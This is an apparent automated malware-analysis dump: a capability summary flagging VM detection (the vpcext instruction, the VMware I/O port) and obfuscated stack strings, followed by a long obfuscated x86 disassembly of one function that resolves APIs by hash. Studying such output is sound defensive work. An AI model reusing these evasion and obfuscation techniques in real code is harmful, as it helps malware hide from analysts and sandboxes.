Function at 0xf66ce1
Capabilities:
Check for vm using instruction vpcext
Contain obfuscated stackstrings
Reference the vmware io port

Disassembly:
pop eax
add eax, 0xe
mov dword [eax], ecx
jmp 0xf6246e
jmp 0xf65c43
jmp 0xf65c49
jmp 0xf66303
mov ecx, ebx
mov eax, 0x86907e4
push edx
mov dword [esp], ecx
mov dword [esp], edx
push esi
push ebx
mov ebx, 0x561039de
push ebx
pop esi
mov ebx, dword [esp]
add esp, 4
push ebp
mov ebp, 0x91ca9a66
mov edx, ebp
pop ebp
push edi
mov edi, 0x3aff3e97
neg edi
push edx
mov edx, 0x3941393e
sub edx, 0x431d1148
inc edx
shr edx, 2
sub edx, 0x2189b284
xor edi, edx
pop edx
push esi
mov esi, 0x72941350
sub edi, esi
pop esi
and edi, 0x2f342bcb
push ebx
mov ebx, 0xb2a62e2
xor edi, ebx
pop ebx
add edx, edi
pop edi
sub edx, esi
sub edx, 0x270a6022
mov esi, dword [esp]
add esp, 4
add eax, edx
mov edx, dword [esp]
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg dword [esp], eax
pop esp
sub eax, 0x5f997837
sub eax, 0xffffffff
add eax, 0x2a4b6eb4
push edi
mov edi, 0xed5285d
xor eax, edi
pop edi
push 0x691b
mov dword [esp], esi
mov dword [esp], eax
jmp 0xf663b2
call 0xf663b7
push dword [esp]
push dword [esp]
pop edx
push ecx
mov dword [esp], edi
push esp
mov edi, dword [esp]
push esi
push esp
mov esi, dword [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
add esi, 4
push eax
mov eax, 4
add esi, eax
pop eax
push edi
mov dword [esp], esi
push dword [esp + 4]
pop esi
pop dword [esp]
pop esp
add edi, 4
push eax
mov eax, 4
sub edi, 0x6a9438f7
add edi, eax
add edi, 0x6a9438f7
mov eax, dword [esp]
add esp, 4
push 0x4f9f
mov dword [esp], edi
push dword [esp + 4]
pop edi
pop dword [esp]
pop esp
add esp, 4
sti
push 0x2613
mov dword [esp], esi
mov esi, 0x1b6c62be
add esi, 0x597b5bab
inc esi
push edx
mov edx, 0x16433491
shr edx, 4
push ebx
mov ebx, 1
add edx, ebx
pop ebx
shr edx, 8
xor edx, 0x453c205d
and esi, edx
pop edx
xor esi, 0x638220cb
add edx, esi
pop esi
sub edx, 0x460a64e0
add edx, 0x1b981539
add edx, dword [esp]
sub edx, 0x1b981539
push eax
push ebx
mov ebx, 0xe4a62a9
push eax
mov eax, 0x50c56408
and ebx, eax
pop eax
not ebx
xor ebx, 0xae5ef8e5
mov eax, ebx
mov ebx, dword [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg dword [esp], eax
mov esp, dword [esp]
shr eax, 7
push ebx
push ebp
mov dword [esp], esi
mov esi, 0x4a3e4dcd
push edi
mov edi, 0x22466d44
neg edi
add edi, 0x578259f2
sub esi, edi
pop edi
mov ebx, esi
pop esi
xor eax, ebx
mov ebx, dword [esp]
add esp, 4
xor eax, 0x53abc731
add edx, eax
pop eax
sub edx, 0x27a724a1
push edx
mov edx, esp
push edi
mov edi, 4
push esi
mov esi, 0x35e47b11
sub edx, esi
pop esi
add edx, edi
add edx, 0x35e47b11
pop edi
push edi
push esp
pop edi
push ecx
mov ecx, 0x50346810
neg ecx
xor ecx, 0x702e33d3
or ecx, 0x5dfe2c76
sub ecx, 0x174b05f0
not ecx
add ecx, 0xc8b4a68c
add edi, ecx
pop ecx
push ebp
push edi
mov edi, 0x9d361c0
not edi
xor edi, 0xf62c9e3b
mov ebp, edi
pop edi
add edi, 0x57493677
sub edi, ebp
sub edi, 0x57493677
pop ebp
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
pop esp
mov dword [esp], ebp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg dword [esp], edx
mov esp, dword [esp]
mov dword [esp], esi
mov esi, 0x57d35fda
mov ebp, 0x57d35fde
xor ebp, esi
pop esi
add edx, 0x56883407
add edx, ebp
sub edx, 0x56883407
mov ebp, dword [esp]
add esp, 4
xchg dword [esp], edx
mov esp, dword [esp]
push edx
push 0x3aca
mov dword [esp], esi
mov esi, 0x27d22c41
sub esp, 4
mov dword [esp], ecx
push eax
mov eax, esi
push ebx
mov dword [esp], eax
add dword [esp], 0x665370af
pop ecx
sub ecx, 0x665370af
pop eax
mov edx, ecx
pop ecx
mov esi, dword [esp]
sub esp, 4
mov dword [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword [esp + 4]
pop ebx
pop dword [esp]
pop esp
push edx
push edx
mov edx, 0x6d2702b2
add dword [esp + 4], edx
pop edx
pop ecx
push eax
mov eax, 0x6d2702b2
sub ecx, eax
pop eax
push dword [esp]
pop edx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
sub ecx, 0xe95d39
not ecx
push ebx
mov ebx, 0x66ba3bd8
sub ebx, 0x2a2316eb
or ebx, 0x57ed0e51
shr ebx, 2
dec ebx
sub ebx, 0x80b5017
xor ebx, 0xd125985f
sub ecx, ebx
pop ebx
push edx
sub esp, 4
mov dword [esp], edi
mov edi, 0x95e750f
xchg edi, ebp
not ebp
xchg edi, ebp
inc edi
sub edi, 0x74951f88
push ebp
push edx
mov edx, 0x6b4f770d
or edx, 0x50852122
and edx, 0x2db05875
sub edx, 0x56e60731
sub edx, 0xd29a48f3
mov ebp, edx
pop edx
add edi, ebp
pop ebp
or edi, 0x44c5440a
push ebx
mov ebx, 0x510d6272
or ebx, 0x75271da8
and ebx, 0x32cf156f
push ebx
not dword [esp]
pop ebx
add ebx, 0x30916b52
xor ebx, 0x6a0e7866
add ebx, 0x89a81fd8
xor edi, ebx
pop ebx
mov edx, edi
pop edi
xor edx, 0x4bb80494
push eax
push 0x6bb6598c
mov eax, dword [esp]
add esp, 4
or edx, eax
pop eax
push esi
mov esi, 0x189657e7
sub edx, esi
pop esi
neg edx
push ecx
mov dword [esp], ebx
mov ebx, 0x5cd56433
and edx, ebx
pop ebx
xor edx, 0xed117db
xor ecx, edx
push dword [esp]
pop edx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
mov esp, dword [esp]
push dword [edx]
push dword [esp]
mov edi, dword [esp]
add esp, 4
push ebx
mov dword [esp], ebp
push 0x43d6
mov dword [esp], esp
add dword [esp], 4
mov ebp, dword [esp]
add esp, 4
push ebx
mov ebx, 4
push 0x4291
mov dword [esp], edx
mov edx, 0x78b2f3d
add edx, 0x419d3815
add ebp, edx
pop edx
add ebp, ebx
sub ebp, 0x49286752
pop ebx
push esi
mov esi, 0x328b0e9b
shl esi, 3
xor esi, 0x945874dc
add ebp, esi
mov esi, dword [esp]
push esi
mov esi, esp
add esi, 4
push ecx
push ebp
mov ebp, 4
mov ecx, ebp
pop ebp
add esi, ecx
pop ecx
xor esi, dword [esp]
xor dword [esp], esi
xor esi, dword [esp]
pop esp
xchg dword [esp], ebp
mov esp, dword [esp]
sub esp, 4
mov dword [esp], ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg dword [esp], ebx
pop esp
mov dword [esp], esi
push ebp
push 0x284a5b19
pop ebp
push ebx
mov ebx, 0x6a506c54
xor ebp, ebx
pop ebx
neg ebp
push ebx
mov ebx, 0x3c852cfa
add ebp, ebx
pop ebx
push esi
mov esi, 0x260118ad
shr esi, 1
push edx
mov edx, 0x39882bd6
add esi, edx
pop edx
sub esi, 0x6c945b06
push esi
inc dword [esp]
pop esi
add esi, 0x359b4919
xor esi, 0xae7712f
add ebp, esi
pop esi
push ebp
pop esi
pop ebp
xor edi, esi
push dword [esp]
push dword [esp]
mov esi, dword [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
add esp, 4
push esi
push esp
pop esi
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
push ebp
push edi
push edx
mov edx, 0x546c4e0c
mov edi, edx
pop edx
mov ebp, edi
mov edi, dword [esp]
add esp, 4
shr ebp, 2
push ebx
mov dword [esp], ecx
mov ecx, 0x40b83a34
or ebp, ecx
pop ecx
push edi
mov dword [esp], ecx
push edx
push 0x42852b91
pop edx
and edx, 0x2bea2898
shl edx, 2
add edx, 0x6d39dbc0
mov ecx, edx
pop edx
push edi
mov edi, 0x15164236
and ecx, edi
pop edi
push edi
push ebp
mov ebp, 0x25be7342
mov edi, ebp
pop ebp
add ecx, 0x88258d0
sub ecx, 0x22f61f68
sub ecx, edi
add ecx, 0x22f61f68
sub ecx, 0x88258d0
pop edi
sub ebp, 0x46ff0128
sub ebp, 0x12805c84
add ebp, 0x1b5f457a
add ebp, ecx
sub ebp, 0x1b5f457a
add ebp, 0x12805c84
add ebp, 0x46ff0128
push dword [esp]
mov ecx, dword [esp]
add esp, 4
add esp, 4
xor edi, ebp
pop ebp
push ecx
mov ecx, 0x59712e64
push ebx
mov ebx, 0x34025135
and ecx, ebx
pop ebx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg dword [esp], ebx
mov esp, dword [esp]
mov dword [esp], edi
push esi
push 0x2ae403aa
mov esi, dword [esp]
add esp, 4
xor esi, 0x2f987640
mov edi, esi
mov esi, dword [esp]
add esp, 4
add edi, 0x26b5f
xor ecx, edi
push dword [esp]
pop edi
push 0x4177
mov dword [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, dword [esp]
xor dword [esp], eax
xor eax, dword [esp]
pop esp
add edi, 0x661c034d
sub edi, 0x55307e36
sub edi, ecx
add edi, 0x55307e36
push edx
push 0x661c034d
pop edx
sub edi, edx
mov edx, dword [esp]
add esp, 4
mov ecx, dword [esp]
add esp, 4
push ecx
mov dword [esp], edx
mov dword [esp], ebp
mov dword [esp], edi
add dword [esp], 0x20565bca
pop dword [edx]
push 0x13f5
mov dword [esp], ebp
mov ebp, 0x648f5d5b
add ebp, 0x2c4b6c0a
push ecx
mov ecx, 0x7e976526
not ecx
shr ecx, 2
xor ecx, 0x5f30204b
and ecx, 0x7d807064
xor ecx, 0x5f9f71e8
or ebp, ecx
pop ecx
push ebx
mov ebx, 0x491220
xor ebx, 0x4fa3698d
and ebp, ebx
pop ebx
add ebp, 0x3886e66b
or ebp, 0x5b47596e
push 0x59ba
mov dword [esp], edx
mov edx, 0x5b011db4
push 0x133
mov dword [esp], edx
mov edx, 0x356172eb
add ebp, 0x65d2350c
add ebp, edx
sub ebp, 0x65d2350c
pop edx
add ebp, 0x40615227
sub ebp, 0x18bf045f
add ebp, 0x1b5c14c0
sub ebp, edx
sub ebp, 0x1b5c14c0
add ebp, 0x18bf045f
sub ebp, 0x40615227
push ebx
mov ebx, 0x356172eb
add ebp, 0x43d0a04
sub ebp, ebx
sub ebp, 0x43d0a04
pop ebx
pop edx
sub dword [edx], ebp
pop ebp
push esi
push 0x24d6
mov dword [esp], edx
mov edx, 0x281a38de
push edx
mov edx, 0xd7e5c723
mov esi, edx
pop edx
push edx
mov edx, 0x468514b1
dec edx
not edx
or edx, 0x57fb53d4
sub edx, 0x44be5c21
push eax
mov eax, 0x6ebab63c
add edx, eax
pop eax
add esi, edx
pop edx
add esi, edx
push ecx
push eax
mov eax, 0x29f855fa
mov ecx, eax
mov eax, dword [esp]
add esp, 4
add esi, 0x7c131ef5
sub esi, ecx
sub esi, 0x7c131ef5
mov ecx, dword [esp]
add esp, 4
pop edx
sub edx, 0x12057bd9
sub edx, esi
push ebx
mov ebx, 0x12057bd9
add edx, ebx
pop ebx
mov esi, dword [esp]
push esi
push esp
pop esi
add esi, 4
into
fdivrp st(6)
add byte [eax], al
add byte [ecx], al
ficomp word [ebx - 0x79]
xor al, 0x24
mov esp, dword [esp]
push 0x380c
mov dword [esp], esi
push 0x5942
mov dword [esp], ecx
push 1
pop ecx
mov esi, ecx
mov ecx, dword [esp]
add esp, 4
sub edx, esi
push dword [esp]
mov esi, dword [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
push 0x5e2d
mov dword [esp], edx
push esp
push dword [esp]
pop edx
add esp, 4
add edx, 4
push ecx
mov ecx, 4
add edx, ecx
pop ecx
push edx
push dword [esp + 4]
mov edx, dword [esp]
add esp, 4
pop dword [esp]
mov esp, dword [esp]
push esi
push 0x2dd8
mov dword [esp], eax
push ecx
mov ecx, 0x734d4333
xor ecx, 0x62482a8c
sub esp, 4
mov dword [esp], ecx
xor dword [esp], 0x7c395aea
pop eax
sub esp, 4
mov dword [esp], ebx
push esi
mov esi, 0x17fb6c4e
mov ebx, 0x9434c738
sub ebx, esi
pop esi
xor eax, ebx
pop ebx
pop ecx
dec eax
push esi
mov esi, 0x2def1517
sub eax, esi
pop esi
push 0x61d0
mov dword [esp], eax
not dword [esp]
mov eax, dword [esp]
add esp, 4
shr eax, 1
dec eax
xor eax, 0xf18b2a54
push eax
xor dword [esp], 0x197d03df
pop esi
push ebx
mov ebx, 0x197d03df
xor esi, ebx
mov ebx, dword [esp]
add esp, 4
pop eax
add edx, 0x58393bf7
add edx, esi
push ebp
mov dword [esp], edi
mov edi, 0x57b925c2
xor edi, 0xf801e35
sub edx, edi
pop edi
pop esi
push ebx
mov ebx, esp
add ebx, 4
push edi
mov dword [esp], ecx
mov ecx, 4
sub ebx, ecx
pop ecx
xchg dword [esp], ebx
pop esp
mov dword [esp], ecx
push ebp
mov ebp, 0x27292599
mov ecx, ebp
pop ebp
push edi
mov edi, 0x5c3e478d
xor edi, 0x752e08fe
add ecx, edi
pop edi
push eax
mov eax, 0x545c3994
or ecx, eax
pop eax
add ecx, 0xaedad0ba
sub esp, 4
mov dword [esp], ebp
mov ebp, 0x76d73f4d
sub ecx, ebp
pop ebp
sub ecx, 0x8c810f08
push esi
mov esi, 0x5d9c7457
not esi
neg esi
add esi, 0xbd0aa6eb
sub edx, esi
pop esi
sub edx, ecx
add edx, 0x1aa71b43
push dword [esp]
mov ecx, dword [esp]
add esp, 4
push edx
push esp
pop edx
add edx, 4
push ebx
mov ebx, 4
add edx, ebx
pop ebx
xchg dword [esp], edx
pop esp
dec ecx
jne 0xf666fb
sti
push 0x542b
mov dword [esp], edx
push ecx
push 0x1a5601ce
mov ecx, dword [esp]
add esp, 4
shr ecx, 4
xor ecx, 0x34a638bb
push esi
mov esi, 0xc2cd5c5c
sub ecx, esi
mov esi, dword [esp]
add esp, 4
push 0x218b
mov dword [esp], ecx
push ecx
mov ecx, 0x5bd97ca6
xor dword [esp + 4], ecx
mov ecx, dword [esp]
add esp, 4
pop edx
push ebp
mov ebp, 0x5dac49b6
and ebp, 0x4f224850
dec ebp
push edi
mov edi, 0xf146cb69
sub ebp, edi
pop edi
xor edx, ebp
mov ebp, dword [esp]
add esp, 4
mov ecx, dword [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, dword [esp]
xor dword [esp], ecx
xor ecx, dword [esp]
mov esp, dword [esp]
push edx
pop eax
mov edx, dword [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
push ecx
mov dword [esp], esi
mov esi, 0x56b5660a
mov ecx, esi
pop esi
push 0x15f
mov dword [esp], eax
mov dword [esp], ebp
mov ebp, 0x752329d0
push edx
mov edx, 0x4900250b
sub ecx, 0x794643f1
sub ecx, edx
add ecx, 0x794643f1
mov edx, dword [esp]
add esp, 4
sub ecx, ebp
add ecx, 0x4900250b
pop ebp
shl ecx, 6
push ecx
xchg dword [esp], ebx
push ebx
xchg dword [esp], ecx
not ecx
xchg dword [esp], ecx
pop ebx
xchg dword [esp], ebx
push dword [esp]
pop ecx
add esp, 4
push 0x4e87
mov dword [esp], edx
push ecx
mov ecx, 0x46b0f2a6
mov edx, ecx
pop ecx
sub ecx, edx
mov edx, dword [esp]
add esp, 4
mov ebx, 0x343e5772
or ebx, 0x71cf422c
sub ebx, 0x4b1528da
add ebx, 0x5cb92694
not ebx
shr ebx, 4
push ebp
mov ebp, 0x29422f1c
push esi
mov esi, 0x726e4cb5
mov dl, 0xf1
not ebp
not ebp
xchg ebp, edi
push edi
not dword [esp]
pop edi
xchg ebp, edi
xor ebp, 0xa510669c
push 0x6e
mov dword [esp], edx
push ecx
mov dword [esp], edi
mov edi, 0x73eb4c3b
sub edi, 0x684ee902
mov edx, edi
pop edi
shr edx, 1
shr edx, 8
dec edx
not edx
neg edx
push esi
mov esi, 0xb512cd5
not esi
not esi
xor esi, 0x541a6866
shl esi, 6
push edi
mov edi, 0x66d700aa
xor edi, 0x3c20a69
add esi, edi
pop edi
add edx, esi
pop esi
push edx
mov edx, 0x799b2c9f
sub ebx, edx
pop edx
sub ebx, edx
add ebx, 0x799b2c9f
pop edx
add ebx, ebp
push ecx
mov dword [esp], ebp
mov ebp, 0xbb272f3
dec ebp
or ebp, 0x19922e50
dec ebp
xor ebp, 0x2c5e7b45
add ebx, ebp
pop ebp
pop ebp
jmp 0xf66e22
jmp 0xf67f23
push 0x51bb
mov dword [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
xchg dword [esp], esi
pop esp
push esp
pop dword [esp]
push 0x43e4
mov dword [esp], edi
mov edi, 4
push eax
mov eax, 0x6bf13341
add dword [esp + 8], eax
pop eax
add dword [esp + 4], 0x78f732c0
add dword [esp + 4], edi
push edx
push 0x78f732c0
pop edx
sub dword [esp + 8], edx
mov edx, dword [esp]
add esp, 4
push ebp
push eax
mov eax, 0x467b79df
mov ebp, 0x2d8a4a9e
xor ebp, eax
mov eax, dword [esp]
add esp, 4
sub dword [esp + 8], ebp
pop ebp
mov edi, dword [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
mov eax, dword [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
pop esp
mov dword [ebp + 0x167830a4], eax
mov dword [ebp + 0x16782cc5], 0
push ebx
mov dword [esp], eax
push 0x69b
mov dword [esp], ecx
push ebp
mov ebp, 0x3cfe6736
mov ecx, ebp
pop ebp
sub dword [esp + 4], ecx
pop ecx
mov eax, dword [esp]
add esp, 4
sub esp, 4
mov dword [esp], edi
mov edi, 0x7c6c3ad6
xor edi, edx
xor edx, edi
xor edi, edx
xor edx, ebp
xor ebp, edx
xor edx, ebp
xchg ebp, ecx
xchg ecx, ebx
not ebx
xchg ecx, ebx
xchg ebp, ecx
xchg edx, ebp
xchg edi, edx
and edi, 0xfe77522
push ebx
mov ebx, 0x397b2216
add edi, ebx
pop ebx
add eax, 0x3da5225c
push esi
mov esi, 0x3d794c6f
dec esi
xor esi, 0x63d248fd
add eax, esi
pop esi
sub eax, 0x28e73140
add eax, edi
add eax, 0x28e73140
sub eax, 0x5eab0493
sub eax, 0x3da5225c
mov edi, dword [esp]
add esp, 4
cmp dword [ebp + 0x1678279f], 0
jne 0xf68065
cmp dword [ebp + 0x167825c3], 0
je 0xf6807a
push eax
mov eax, eax
mov eax, 0x43d
mov dword [ebp + 0x16782031], eax
call dword [ebp + 0x16782eee]
pop eax
push 0x5d96
mov dword [esp], esi
mov dword [esp], eax
mov dword [esp], ebp
push 0x6d0e
mov dword [esp], eax
mov ebp, dword [esp]
add esp, 4
push 0x1f0e
mov dword [esp], ebp
push ebp
push eax
mov eax, 0x176656ac
push 0x2021
mov dword [esp], edi
mov edi, eax
push edi
pop ebp
pop edi
pop eax
sub dword [esp + 4], ebp
pop ebp
push dword [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
add eax, 0x176656ac
push dword [esp]
pop ebp
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg dword [esp], ebx
pop esp
push edx
push esp
pop edx
push ebx
sub esp, 4
mov dword [esp], edx
mov edx, 0x2f60198d
sub edx, 0x2f601989
mov ebx, edx
mov edx, dword [esp]
add esp, 4
add edx, 0x75466009
add edx, ebx
sub edx, 0x75466009
pop ebx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg dword [esp], ebx
mov esp, dword [esp]
mov dword [esp], eax
mov eax, 4
push ecx
mov ecx, 0x37f6654
sub edx, ecx
pop ecx
add edx, 0x41e960ad
sub edx, eax
push ebp
mov dword [esp], ebx
mov ebx, 0x41e960ad
add edx, 0x71db5905
sub edx, ebx
sub edx, 0x71db5905
pop ebx
add edx, 0x37f6654
pop eax
xchg dword [esp], edx
pop esp
mov dword [esp], eax
mov eax, dword [esp]
add esp, 4
cmp dword [ebp + 0x1678279f], 0
jne 0xf68186
cmp dword [ebp + 0x167825c3], 0
je 0xf68195
push eax
mov eax, eax
mov eax, 0
call dword [ebp + 0x1678317e]
pop eax
cmp dword [ebp + 0x167825c3], 0
je 0xf681ab
push eax
mov eax, 0
call dword [ebp + 0x1678302c]
pop eax
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xor ebx, dword [esp]
xor dword [esp], ebx
xor ebx, dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
mov eax, dword [esp]
push 0x230c
mov dword [esp], esi
mov esi, esp
push ecx
mov ecx, 0x43d76a39
xor ecx, 0x43d76a3d
push 0x53d7
mov dword [esp], edx
mov edx, 0x46e2342c
add esi, 0x7d76328c
add esi, edx
sub esi, 0x7d76328c
pop edx
add esi, ecx
sub esp, 4
mov dword [esp], edi
push esi
push 0x351f22b1
pop esi
sub esi, 0xbfb4bb1
add esi, 0x58532342
add esi, 0xc56b39ea
mov edi, esi
pop esi
sub esi, edi
pop edi
mov ecx, dword [esp]
add esp, 4
push ebx
push ecx
mov ecx, 4
mov ebx, ecx
pop ecx
add esi, ebx
pop ebx
xor esi, dword [esp]
xor dword [esp], esi
xor esi, dword [esp]
pop esp
push esi
mov dword [esp], eax
push eax
push 0x699f
mov dword [esp], ecx
mov ecx, 0x5f1306fb
add ecx, 0x48714e93
add ecx, 0x498c38dc
neg ecx
push ebx
push 0x27b8535b
pop ebx
xor ecx, ebx
mov ebx, dword [esp]
add esp, 4
push ebp
mov ebp, 0x5f5a33ae
sub ebp, 0x72c45502
neg ebp
sub ebp, 0x59cf60a1
add ebp, 0x6aeefce2
sub ecx, ebp
pop ebp
mov eax, ecx
push dword [esp]
pop ecx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
sub dword [esp + 4], 0x2aa66d45
add dword [esp + 4], 0x2b5a69bc
sub dword [esp + 4], eax
sub dword [esp + 4], 0x2b5a69bc
push ebx
mov ebx, 0x2aa66d45
add dword [esp + 8], ebx
pop ebx
push dword [esp]
pop eax
add esp, 4
pop eax
push edi
push 0x4f7a1528
pop edi
shr edi, 2
xor edi, 0x4462123b
add edi, 0xad10cdc7
add eax, edi
pop edi
cmp dword [ebp + 0x1678279f], 0
jne 0xf68304
cmp dword [ebp + 0x167825c3], 0
je 0xf68315
push eax
push ebx
mov eax, eax
mov eax, 0
call dword [ebp + 0x16782ea2]
pop ebx
pop eax
push ebp
mov dword [esp], eax
mov dword [esp], esi
sub esp, 4
mov dword [esp], edx
mov dword [esp], eax
xor dword [esp], 0x21881eeb
mov esi, dword [esp]
add esp, 4
push edx
mov edx, 0x21881eeb
xor esi, edx
pop edx
push esi
xor dword [esp], 0x15b909ad
push dword [esp]
pop eax
add esp, 4
push esi
mov esi, 0x15b909ad
xor eax, esi
push dword [esp]
pop esi
push ecx
mov ecx, esp
add ecx, 4
push eax
mov eax, 4
add ecx, eax
pop eax
xchg dword [esp], ecx
mov esp, dword [esp]
mov esi, dword [esp]
push edx
mov edx, esp
add edx, 4
push ebp
mov ebp, 0xcc45db2
sub ebp, 0xcc45dae
add edx, ebp
pop ebp
xchg dword [esp], edx
pop esp
sub esp, 4
mov dword [esp], ecx
push esi
mov dword [esp], eax
pop ecx
push ecx
xor dword [esp], 0x3c1f6661
pop eax
xor eax, 0x3c1f6661
push dword [esp]
mov ecx, dword [esp]
push 0x63e2
mov dword [esp], ebp
push ecx
mov dword [esp], esp
add dword [esp], 4
pop ebp
push ebx
mov ebx, 0x4e46323c
add ebx, 0x50886d0a
sub ebx, 0x59cf539f
sub ebx, 0x34e643e9
add ebx, 0x5bc55ca5
sub ebx, 0x5d8d561c
sub ebx, 0xe510e43
add ebp, 0x1afe35a4
add ebp, ebx
sub ebp, 0x1afe35a4
pop ebx
add ebp, 4
xchg dword [esp], ebp
pop esp
sub esp, 4
mov dword [esp], ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
push 0x48f8
mov dword [esp], ecx
push dword [esp + 4]
pop ecx
pop dword [esp]
mov esp, dword [esp]
cmp dword [ebp + 0x1678279f], 0
jne 0xf6843f
cmp dword [ebp + 0x167825c3], 0
je 0xf6844e
push eax
mov eax, eax
mov eax, 0
call dword [ebp + 0x16781ffc]
pop eax
push ebp
mov dword [esp], eax
xor dword [esp], 0x4e072359
push dword [esp]
pop eax
sub esp, 4
mov dword [esp], esi
sub esp, 4
sub esp, 4
mov dword [esp], esp
add dword [esp], 4
pop dword [esp]
add dword [esp], 4
pop esi
push ebp
mov dword [esp], ebx
mov ebx, 4
add esi, ebx
mov ebx, dword [esp]
add esp, 4
add esi, 4
xchg dword [esp], esi
mov esp, dword [esp]
push ebx
push esi
mov esi, 0x3cbd5715
not esi
sub esi, 0x66fd4f4a
and esi, 0x68844fd6
shl esi, 2
dec esi
xor esi, 0xa0fd1
mov ebx, esi
mov esi, dword [esp]
add esp, 4
add ebx, 0x248a266f
and ebx, 0x22cc4dcf
xor ebx, 0x716c36ff
not ebx
inc ebx
push ebp
mov ebp, 0x7fb81802
push ebp
not dword [esp]
pop ebp
shr ebp, 1
push ecx
mov ecx, 0x755b1659
sub ecx, 0x14b34fb4
and ecx, 0x1ca52436
dec ecx
dec ecx
inc ecx
sub ecx, 0x91765a
sub ebp, ecx
pop ecx
sub ebx, ebp
pop ebp
xor eax, ebx
pop ebx
push eax
xor dword [esp], 0x79694f74
push dword [esp]
pop eax
sub esp, 4
mov dword [esp], edx
mov edx, esp
add edx, 4
push ebp
mov ebp, 4
add edx, 0x208a3217
add edx, ebp
sub edx, 0x208a3217
pop ebp
xchg dword [esp], edx
pop esp
push ebp
sub esp, 4
mov dword [esp], ebx
mov dword [esp], esi
push eax
push esi
mov esi, 0x5a936a91
mov eax, esi
pop esi
mov esi, 0x1ed5e4e3
push ebp
mov ebp, 0x6d10573f
sub ebp, 0x1afef6a1
add esi, ebp
pop ebp
add esi, eax
sub esi, 0x5211609e
mov eax, dword [esp]
push eax
mov eax, esp
push ebp
mov ebp, 0x7f694502
and ebp, 0x4eaa79f6
shr ebp, 1
dec ebp
dec ebp
xor ebp, 0x2714207b
add eax, ebp
pop ebp
add eax, 4
xchg dword [esp], eax
pop esp
push edx
mov edx, esi
mov ebp, edx
pop edx
pop esi
xor eax, ebp
mov ebp, dword [esp]
add esp, 4
cmp dword [ebp + 0x1678279f], 0
jne 0xf685b2
cmp dword [ebp + 0x167825c3], 0
je 0xf685c1
push eax
mov eax, eax
mov eax, 0
call dword [ebp + 0x16781bf4]
pop eax
push ebx
mov dword [esp], eax
push dword [esp]
push dword [esp]
push dword [esp]
push dword [esp]
pop eax
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg dword [esp], ebx
pop esp
add esp, 4
push edx
mov edx, esp
push edx
mov dword [esp], ecx
mov ecx, 4
add edx, ecx
pop ecx
add edx, 4
xchg dword [esp], edx
mov esp, dword [esp]
push edi
push esp
pop edi
push eax
mov eax, 0x3378474c
xor eax, 0x6bd43f76
sub eax, 0x7daf026d
xor eax, 0x5d8a0989
or eax, 0x5a2a720c
add eax, 0x208081b8
add edi, eax
pop eax
push ebx
mov ebx, 4
add edi, ebx
pop ebx
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
pop esp
push edi
mov dword [esp], esi
sub esp, 4
mov dword [esp], esp
add dword [esp], 4
pop esi
add esi, 4
sub esi, 4
xor esi, dword [esp]
xor dword [esp], esi
xor esi, dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
push dword [esp]
pop eax
sub esp, 4
mov dword [esp], esi
push edi
mov dword [esp], esp
add dword [esp], 4
mov esi, dword [esp]
add esp, 4
add esi, 4
push ecx
mov ecx, 4
push edi
mov edi, 0x5ffc307e
sub esi, edi
pop edi
add esi, ecx
add esi, 0x5ffc307e
push dword [esp]
pop ecx
add esp, 4
xchg dword [esp], esi
pop esp
cmp dword [ebp + 0x1678279f], 0
jne 0xf686c0
cmp dword [ebp + 0x167825c3], 0
je 0xf686d5
push eax
mov eax, eax
mov eax, 0x7d0
mov dword [ebp + 0x16782031], eax
call dword [ebp + 0x16782eee]
pop eax
push 0x32bf
mov dword [esp], eax
push ecx
mov ecx, 0x1d672a36
xor dword [esp + 4], ecx
pop ecx
push dword [esp]
mov eax, dword [esp]
push ecx
push esp
pop ecx
push edx
push esi
mov esi, 0x5aaa4858
xor esi, 0x12ee65ca
mov edx, esi
pop esi
push ebx
mov ebx, 0x5667674a
or edx, ebx
mov ebx, dword [esp]
add esp, 4
push edi
mov edi, 0x5d0565b2
sub edx, edi
pop edi
add edx, 0xfe9df5dc
add ecx, edx
pop edx
add ecx, 4
xor ecx, dword [esp]
xor dword [esp], ecx
xor ecx, dword [esp]
pop esp
push esi
push esp
pop esi
add esi, 4
add esi, 4
xor esi, dword [esp]
xor dword [esp], esi
xor esi, dword [esp]
pop esp
push edi
mov edi, 0x1d672a36
xor eax, edi
mov edi, dword [esp]
add esp, 4
mov byte [ebp + 0x16782ed1], 0x53
push 0x99395f90
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x16782f8a], eax
mov byte [ebp + 0x16782ed1], 0x57
push 0x90045206
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x16781c59], eax
